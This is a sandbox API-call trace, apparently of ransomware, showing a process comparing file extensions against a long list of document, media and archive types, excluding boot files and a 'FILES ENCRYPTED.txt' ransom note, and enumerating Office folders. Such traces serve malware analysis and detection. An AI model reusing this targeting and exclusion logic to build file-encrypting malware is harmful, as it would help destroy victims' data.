-1 [0214.393] lstrlenW (lpString=".mka") returned 4 [0214.393] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0214.393] lstrlenW (lpString=".mkidx") returned 6 [0214.394] lstrcmpiW (lpString1=".mkidx", lpString2="ps.dll") returned -1 [0214.394] lstrlenW (lpString=".mkv") returned 4 [0214.394] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0214.394] lstrlenW (lpString=".mos") returned 4 [0214.394] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0214.394] lstrlenW (lpString=".mov") returned 4 [0214.394] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0214.394] lstrlenW (lpString=".mp3") returned 4 [0214.394] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0214.394] lstrlenW (lpString=".mp4") returned 4 [0214.394] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0214.395] lstrlenW (lpString=".mpeg") returned 5 [0214.395] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0214.395] lstrlenW (lpString=".mpg") returned 4 [0214.395] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0214.395] lstrlenW (lpString=".mpv") returned 4 [0214.395] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0214.396] lstrlenW (lpString=".mrw") returned 4 [0214.396] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0214.396] lstrlenW (lpString=".msg") returned 4 [0214.396] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0214.396] lstrlenW (lpString=".mxl") returned 4 [0214.396] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0214.397] lstrlenW (lpString=".myd") returned 4 [0214.397] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0214.397] lstrlenW (lpString=".myi") returned 4 [0214.398] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0214.398] lstrlenW (lpString=".nef") returned 4 [0214.398] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0214.399] lstrlenW (lpString=".nrw") returned 4 [0214.399] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0214.399] lstrlenW (lpString=".obj") returned 4 [0214.399] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0214.399] lstrlenW (lpString=".odb") returned 4 [0214.399] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0214.399] lstrlenW (lpString=".odc") returned 4 [0214.399] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0214.399] lstrlenW (lpString=".odm") returned 4 [0214.399] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0214.399] lstrlenW (lpString=".odp") returned 4 [0214.400] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0214.400] lstrlenW (lpString=".ods") returned 4 [0214.400] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0214.400] lstrlenW (lpString=".oft") returned 4 [0214.400] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0214.400] lstrlenW (lpString=".one") returned 4 [0214.400] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0214.400] lstrlenW (lpString=".onepkg") returned 7 [0214.400] lstrcmpiW (lpString1=".onepkg", lpString2="sps.dll") returned -1 [0214.400] lstrlenW (lpString=".onetoc2") returned 8 [0214.400] lstrcmpiW (lpString1=".onetoc2", lpString2="psps.dll") returned -1 [0214.400] lstrlenW (lpString=".opt") returned 4 [0214.400] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0214.401] lstrlenW (lpString=".oqy") returned 4 [0214.401] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0214.401] lstrlenW (lpString=".orf") returned 4 [0214.401] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0214.401] lstrlenW (lpString=".p12") returned 4 [0214.401] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0214.401] lstrlenW (lpString=".p7b") returned 4 [0214.401] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0214.401] lstrlenW (lpString=".p7c") returned 4 [0214.401] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0214.401] lstrlenW (lpString=".pam") returned 4 [0214.401] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0214.401] lstrlenW (lpString=".pbm") returned 4 [0214.402] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0214.402] lstrlenW (lpString=".pct") returned 4 [0214.402] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0214.402] lstrlenW (lpString=".pcx") returned 4 [0214.402] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0214.402] lstrlenW (lpString=".pdd") returned 4 [0214.402] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0214.402] lstrlenW (lpString=".pdf") returned 4 [0214.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.402] lstrlenW (lpString=".pdp") returned 4 [0214.402] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0214.402] lstrlenW (lpString=".pef") returned 4 [0214.402] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0214.403] lstrlenW (lpString=".pem") returned 4 [0214.403] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0214.403] lstrlenW (lpString=".pff") returned 4 [0214.403] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0214.403] lstrlenW (lpString=".pfm") returned 4 [0214.403] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0214.403] lstrlenW (lpString=".pfx") returned 4 [0214.403] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0214.403] lstrlenW (lpString=".pgm") returned 4 [0214.403] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0214.403] lstrlenW (lpString=".php") returned 4 [0214.403] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0214.403] lstrlenW (lpString=".php3") returned 5 [0214.403] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0214.404] lstrlenW (lpString=".php4") returned 5 [0214.404] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0214.404] lstrlenW (lpString=".php5") returned 5 [0214.404] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0214.404] lstrlenW (lpString=".phtml") returned 6 [0214.404] lstrcmpiW (lpString1=".phtml", lpString2="ps.dll") returned -1 [0214.404] lstrlenW (lpString=".pict") returned 5 [0214.404] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0214.404] lstrlenW (lpString=".pl") returned 3 [0214.404] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0214.404] lstrlenW (lpString=".pls") returned 4 [0214.404] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0214.405] lstrlenW (lpString=".pm") returned 3 [0214.405] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0214.405] lstrlenW (lpString=".png") returned 4 [0214.405] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0214.405] lstrlenW (lpString=".pnm") returned 4 [0214.405] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0214.405] lstrlenW (lpString=".pot") returned 4 [0214.406] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0214.406] lstrlenW (lpString=".potm") returned 5 [0214.406] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0214.406] lstrlenW (lpString=".potx") returned 5 [0214.406] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0214.406] lstrlenW (lpString=".ppa") returned 4 [0214.408] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0214.408] lstrlenW (lpString=".ppam") returned 5 [0214.408] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0214.408] lstrlenW (lpString=".ppm") returned 4 [0214.409] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0214.409] lstrlenW (lpString=".pps") returned 4 [0214.409] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0214.409] lstrlenW (lpString=".ppsm") returned 5 [0214.409] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0214.409] lstrlenW (lpString=".ppt") returned 4 [0214.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.410] lstrlenW (lpString=".pptm") returned 5 [0214.410] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0214.410] lstrlenW (lpString=".pptx") returned 5 [0214.410] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0214.410] lstrlenW (lpString=".prn") returned 4 [0214.410] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0214.410] lstrlenW (lpString=".ps") returned 3 [0214.410] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0214.410] lstrlenW (lpString=".psb") returned 4 [0214.410] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0214.411] lstrlenW (lpString=".psd") returned 4 [0214.411] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0214.411] lstrlenW (lpString=".pst") returned 4 [0214.411] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0214.411] lstrlenW (lpString=".ptx") returned 4 [0214.411] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0214.411] lstrlenW (lpString=".pub") returned 4 [0214.411] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0214.411] lstrlenW (lpString=".pwm") returned 4 [0214.411] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0214.411] lstrlenW (lpString=".pxr") returned 4 [0214.411] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0214.411] lstrlenW (lpString=".py") returned 3 [0214.412] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0214.412] lstrlenW (lpString=".qt") returned 3 [0214.412] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0214.412] lstrlenW (lpString=".r3d") returned 4 [0214.412] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0214.412] lstrlenW (lpString=".raf") returned 4 [0214.412] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0214.412] lstrlenW (lpString=".rar") returned 4 [0214.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.412] lstrlenW (lpString=".raw") returned 4 [0214.412] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0214.412] lstrlenW (lpString=".rdf") returned 4 [0214.412] lstrcmpiW (lpString1=".rdf", lpString2=".dll") returned 1 [0214.413] lstrlenW (lpString=".rgbe") returned 5 [0214.413] lstrcmpiW (lpString1=".rgbe", lpString2="s.dll") returned -1 [0214.413] lstrlenW (lpString=".rle") returned 4 [0214.413] lstrcmpiW (lpString1=".rle", lpString2=".dll") returned 1 [0214.413] lstrlenW (lpString=".rqy") returned 4 [0214.413] lstrcmpiW (lpString1=".rqy", lpString2=".dll") returned 1 [0214.414] lstrlenW (lpString=".rss") returned 4 [0214.414] lstrcmpiW (lpString1=".rss", lpString2=".dll") returned 1 [0214.414] lstrlenW (lpString=".rtf") returned 4 [0214.414] lstrcmpiW (lpString1=".rtf", lpString2=".dll") returned 1 [0214.414] lstrlenW (lpString=".rw2") returned 4 [0214.414] lstrcmpiW (lpString1=".rw2", lpString2=".dll") returned 1 [0214.414] lstrlenW (lpString=".rwl") returned 4 [0214.415] lstrcmpiW (lpString1=".rwl", lpString2=".dll") returned 1 [0214.415] lstrlenW (lpString=".safe") returned 5 [0214.415] lstrcmpiW (lpString1=".safe", lpString2="s.dll") returned -1 [0214.415] lstrlenW (lpString=".sct") returned 4 [0214.415] lstrcmpiW (lpString1=".sct", lpString2=".dll") returned 1 [0214.415] lstrlenW (lpString=".sdpx") returned 5 [0214.415] lstrcmpiW (lpString1=".sdpx", lpString2="s.dll") returned -1 [0214.415] lstrlenW (lpString=".shtm") returned 5 [0214.415] lstrcmpiW (lpString1=".shtm", lpString2="s.dll") returned -1 [0214.415] lstrlenW (lpString=".shtml") returned 6 [0214.415] lstrcmpiW (lpString1=".shtml", lpString2="ps.dll") returned -1 [0214.415] lstrlenW (lpString=".slk") returned 4 [0214.416] lstrcmpiW (lpString1=".slk", lpString2=".dll") returned 1 [0214.416] lstrlenW (lpString=".sln") returned 4 [0214.416] lstrcmpiW (lpString1=".sln", lpString2=".dll") returned 1 [0214.416] lstrlenW (lpString=".sql") returned 4 [0214.416] lstrcmpiW (lpString1=".sql", lpString2=".dll") returned 1 [0214.416] lstrlenW (lpString=".sr2") returned 4 [0214.416] lstrcmpiW (lpString1=".sr2", lpString2=".dll") returned 1 [0214.416] lstrlenW (lpString=".srf") returned 4 [0214.416] lstrcmpiW (lpString1=".srf", lpString2=".dll") returned 1 [0214.416] lstrlenW (lpString=".srw") returned 4 [0214.416] lstrcmpiW (lpString1=".srw", lpString2=".dll") returned 1 [0214.416] lstrlenW (lpString=".ssi") returned 4 [0214.418] lstrcmpiW (lpString1=".ssi", lpString2=".dll") returned 1 [0214.418] lstrlenW (lpString=".st") returned 3 [0214.418] lstrcmpiW (lpString1=".st", lpString2="dll") returned -1 [0214.418] lstrlenW (lpString=".stm") returned 4 [0214.418] lstrcmpiW (lpString1=".stm", lpString2=".dll") returned 1 [0214.418] lstrlenW (lpString=".svg") returned 4 [0214.418] lstrcmpiW (lpString1=".svg", lpString2=".dll") returned 1 [0214.418] lstrlenW (lpString=".svgz") returned 5 [0214.418] lstrcmpiW (lpString1=".svgz", lpString2="s.dll") returned -1 [0214.418] lstrlenW (lpString=".swf") returned 4 [0214.419] lstrcmpiW (lpString1=".swf", lpString2=".dll") returned 1 [0214.419] lstrlenW (lpString=".tab") returned 4 [0214.419] lstrcmpiW (lpString1=".tab", lpString2=".dll") returned 1 [0214.419] lstrlenW (lpString=".tar") returned 4 [0214.419] lstrcmpiW (lpString1=".tar", lpString2=".dll") returned 1 [0214.419] lstrlenW (lpString=".tbb") returned 4 [0214.419] lstrcmpiW (lpString1=".tbb", lpString2=".dll") returned 1 [0214.420] lstrlenW (lpString=".tbi") returned 4 [0214.421] lstrcmpiW (lpString1=".tbi", lpString2=".dll") returned 1 [0214.421] lstrlenW (lpString=".tbk") returned 4 [0214.421] lstrcmpiW (lpString1=".tbk", lpString2=".dll") returned 1 [0214.421] lstrlenW (lpString=".tdi") returned 4 [0214.421] lstrcmpiW (lpString1=".tdi", lpString2=".dll") returned 1 [0214.421] lstrlenW (lpString=".tga") returned 4 [0214.732] lstrcmpiW (lpString1=".tga", lpString2=".dll") returned 1 [0214.732] lstrlenW (lpString=".thmx") returned 5 [0214.732] lstrcmpiW (lpString1=".thmx", lpString2="s.dll") returned -1 [0214.733] lstrlenW (lpString=".tif") returned 4 [0214.733] lstrcmpiW (lpString1=".tif", lpString2=".dll") returned 1 [0214.734] lstrlenW (lpString=".tiff") returned 5 [0214.734] lstrcmpiW (lpString1=".tiff", lpString2="s.dll") returned -1 [0214.734] lstrlenW (lpString=".tld") returned 4 [0214.734] lstrcmpiW (lpString1=".tld", lpString2=".dll") returned 1 [0214.734] lstrlenW (lpString=".torrent") returned 8 [0214.734] lstrcmpiW (lpString1=".torrent", lpString2="psps.dll") returned -1 [0214.734] lstrlenW (lpString=".tpl") returned 4 [0214.734] lstrcmpiW (lpString1=".tpl", lpString2=".dll") returned 1 [0214.734] lstrlenW (lpString=".txt") returned 4 [0214.734] lstrcmpiW (lpString1=".txt", lpString2=".dll") returned 1 [0214.734] lstrlenW (lpString=".u3d") returned 4 [0214.735] lstrcmpiW (lpString1=".u3d", lpString2=".dll") returned 1 [0214.735] lstrlenW (lpString=".udl") returned 4 [0214.735] lstrcmpiW (lpString1=".udl", lpString2=".dll") returned 1 [0214.735] lstrlenW (lpString=".uxdc") returned 5 [0214.735] lstrcmpiW (lpString1=".uxdc", lpString2="s.dll") returned -1 [0214.735] lstrlenW (lpString=".vb") returned 3 [0214.735] lstrcmpiW (lpString1=".vb", lpString2="dll") returned -1 [0214.735] lstrlenW (lpString=".vbs") returned 4 [0214.735] lstrcmpiW (lpString1=".vbs", lpString2=".dll") returned 1 [0214.735] lstrlenW (lpString=".vcs") returned 4 [0214.735] lstrcmpiW (lpString1=".vcs", lpString2=".dll") returned 1 [0214.735] lstrlenW (lpString=".vda") returned 4 [0214.735] lstrcmpiW (lpString1=".vda", lpString2=".dll") returned 1 [0214.736] lstrlenW (lpString=".vdr") returned 4 [0214.736] lstrcmpiW (lpString1=".vdr", lpString2=".dll") returned 1 [0214.736] lstrlenW (lpString=".vdw") returned 4 [0214.736] lstrcmpiW (lpString1=".vdw", lpString2=".dll") returned 1 [0214.736] lstrlenW (lpString=".vdx") returned 4 [0214.736] lstrcmpiW (lpString1=".vdx", lpString2=".dll") returned 1 [0214.736] lstrlenW (lpString=".vrp") returned 4 [0214.736] lstrcmpiW (lpString1=".vrp", lpString2=".dll") returned 1 [0214.736] lstrlenW (lpString=".vsd") returned 4 [0214.736] lstrcmpiW (lpString1=".vsd", lpString2=".dll") returned 1 [0214.736] lstrlenW (lpString=".vss") returned 4 [0214.736] lstrcmpiW (lpString1=".vss", lpString2=".dll") returned 1 [0214.736] lstrlenW (lpString=".vst") returned 4 [0214.737] lstrcmpiW (lpString1=".vst", lpString2=".dll") returned 1 [0214.737] lstrlenW (lpString=".vsw") returned 4 [0214.737] lstrcmpiW (lpString1=".vsw", lpString2=".dll") returned 1 [0214.737] lstrlenW (lpString=".vsx") returned 4 [0214.737] lstrcmpiW (lpString1=".vsx", lpString2=".dll") returned 1 [0214.737] lstrlenW (lpString=".vtm") returned 4 [0214.737] lstrcmpiW (lpString1=".vtm", lpString2=".dll") returned 1 [0214.737] lstrlenW (lpString=".vtml") returned 5 [0214.737] lstrcmpiW (lpString1=".vtml", lpString2="s.dll") returned -1 [0214.737] lstrlenW (lpString=".vtx") returned 4 [0214.737] lstrcmpiW (lpString1=".vtx", lpString2=".dll") returned 1 [0214.737] lstrlenW (lpString=".wb2") returned 4 [0214.737] lstrcmpiW (lpString1=".wb2", lpString2=".dll") returned 1 [0214.737] lstrlenW (lpString=".wav") returned 4 [0214.737] lstrcmpiW (lpString1=".wav", lpString2=".dll") returned 1 [0214.738] lstrlenW (lpString=".wbm") returned 4 [0214.738] lstrcmpiW (lpString1=".wbm", lpString2=".dll") returned 1 [0214.738] lstrlenW (lpString=".wbmp") returned 5 [0214.738] lstrcmpiW (lpString1=".wbmp", lpString2="s.dll") returned -1 [0214.738] lstrlenW (lpString=".wim") returned 4 [0214.738] lstrcmpiW (lpString1=".wim", lpString2=".dll") returned 1 [0214.738] lstrlenW (lpString=".wmf") returned 4 [0214.739] lstrcmpiW (lpString1=".wmf", lpString2=".dll") returned 1 [0214.739] lstrlenW (lpString=".wml") returned 4 [0214.739] lstrcmpiW (lpString1=".wml", lpString2=".dll") returned 1 [0214.739] lstrlenW (lpString=".wmv") returned 4 [0214.739] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0214.739] lstrlenW (lpString=".wpd") returned 4 [0214.739] lstrcmpiW (lpString1=".wpd", lpString2=".dll") returned 1 [0214.739] lstrlenW (lpString=".wps") returned 4 [0214.739] lstrcmpiW (lpString1=".wps", lpString2=".dll") returned 1 [0214.739] lstrlenW (lpString=".x3f") returned 4 [0214.739] lstrcmpiW (lpString1=".x3f", lpString2=".dll") returned 1 [0214.739] lstrlenW (lpString=".xl") returned 3 [0214.739] lstrcmpiW (lpString1=".xl", lpString2="dll") returned -1 [0214.740] lstrlenW (lpString=".xla") returned 4 [0214.740] lstrcmpiW (lpString1=".xla", lpString2=".dll") returned 1 [0214.740] lstrlenW (lpString=".xlam") returned 5 [0214.740] lstrcmpiW (lpString1=".xlam", lpString2="s.dll") returned -1 [0214.740] lstrlenW (lpString=".xlk") returned 4 [0214.740] lstrcmpiW (lpString1=".xlk", lpString2=".dll") returned 1 [0214.740] lstrlenW (lpString=".xlm") returned 4 [0214.740] lstrcmpiW (lpString1=".xlm", lpString2=".dll") returned 1 [0214.740] lstrlenW (lpString=".xls") returned 4 [0214.740] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.740] lstrlenW (lpString=".xlsb") returned 5 [0214.740] lstrcmpiW (lpString1=".xlsb", lpString2="s.dll") returned -1 [0214.740] lstrlenW (lpString=".xlsm") returned 5 [0214.740] lstrcmpiW (lpString1=".xlsm", lpString2="s.dll") returned -1 [0214.740] lstrlenW (lpString=".xlsx") returned 5 [0214.741] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0214.741] lstrlenW (lpString=".xlt") returned 4 [0214.741] lstrcmpiW (lpString1=".xlt", lpString2=".dll") returned 1 [0214.741] lstrlenW (lpString=".xltm") returned 5 [0214.741] lstrcmpiW (lpString1=".xltm", lpString2="s.dll") returned -1 [0214.741] lstrlenW (lpString=".xltx") returned 5 [0214.741] lstrcmpiW (lpString1=".xltx", lpString2="s.dll") returned -1 [0214.741] lstrlenW (lpString=".xlw") returned 4 [0214.741] lstrcmpiW (lpString1=".xlw", lpString2=".dll") returned 1 [0214.741] lstrlenW (lpString=".xml") returned 4 [0214.741] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0214.741] lstrlenW (lpString=".xps") returned 4 [0214.741] lstrcmpiW (lpString1=".xps", lpString2=".dll") returned 1 [0214.742] lstrlenW (lpString=".xsd") returned 4 [0214.742] lstrcmpiW (lpString1=".xsd", lpString2=".dll") returned 1 [0214.742] lstrlenW (lpString=".xsf") returned 4 [0214.742] lstrcmpiW (lpString1=".xsf", lpString2=".dll") returned 1 [0214.742] lstrlenW (lpString=".xsl") returned 4 [0214.742] lstrcmpiW (lpString1=".xsl", lpString2=".dll") returned 1 [0214.742] lstrlenW (lpString=".xslt") returned 5 [0214.742] lstrcmpiW (lpString1=".xslt", lpString2="s.dll") returned -1 [0214.742] lstrlenW (lpString=".xsn") returned 4 [0214.742] lstrcmpiW (lpString1=".xsn", lpString2=".dll") returned 1 [0214.742] lstrlenW (lpString=".xtp") returned 4 [0214.742] lstrcmpiW (lpString1=".xtp", lpString2=".dll") returned 1 [0214.742] lstrlenW (lpString=".xtp2") returned 5 [0214.743] lstrcmpiW (lpString1=".xtp2", lpString2="s.dll") returned -1 [0214.743] lstrlenW (lpString=".xyze") returned 5 [0214.743] lstrcmpiW (lpString1=".xyze", lpString2="s.dll") returned -1 [0214.743] lstrlenW (lpString=".xz") returned 3 [0214.743] lstrcmpiW (lpString1=".xz", lpString2="dll") returned -1 [0214.743] lstrlenW (lpString=".zip") returned 4 [0214.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.743] lstrlenW (lpString=".WHY") returned 4 [0214.743] lstrcmpiW (lpString1=".WHY", lpString2=".dll") returned 1 [0214.743] lstrlenW (lpString="TabIpsps.dll") returned 12 [0214.743] lstrcmpiW (lpString1="boot.ini", lpString2="TabIpsps.dll") returned -1 [0214.743] lstrcmpiW (lpString1="bootfont.bin", lpString2="TabIpsps.dll") returned -1 [0214.743] lstrcmpiW (lpString1="ntldr", lpString2="TabIpsps.dll") returned -1 [0214.743] lstrcmpiW (lpString1="ntdetect.com", lpString2="TabIpsps.dll") returned -1 [0214.743] lstrcmpiW (lpString1="io.sys", lpString2="TabIpsps.dll") returned -1 [0214.743] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="TabIpsps.dll") returned -1 [0215.378] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x38ef1f4, cFileName="..", cAlternateFileName="")) returned 1 [0215.378] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x38ef1f4, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.379] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0215.379] lstrlenW (lpString=".1cd") returned 4 [0233.814] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef58c | out: lpFindFileData=0x38ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.815] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef58c | out: lpFindFileData=0x38ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0233.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned 48 [0238.245] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x42f8740, Size=0x8000) returned 0x42f8740 [0238.248] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef310 | out: lpFindFileData=0x38ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="GRAPH_~1.HXC")) returned 1 [0238.248] lstrlenW (lpString="GRAPH_COL.HXC") returned 13 [0238.248] lstrlenW (lpString=".1cd") returned 4 [0238.271] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x42a3f98 [0238.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned 60 [0238.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x4000, cFileName=".", cAlternateFileName="")) returned 0x6243c0 [0238.276] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x4000, cFileName="..", cAlternateFileName="")) returned 1 [0238.277] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x7ff, dwReserved1=0x4000, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0238.277] lstrlenW (lpString="BG_ADOBE.GIF") returned 12 [0238.277] lstrlenW (lpString=".1cd") returned 4 [0238.277] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0238.277] lstrlenW (lpString=".3ds") returned 4 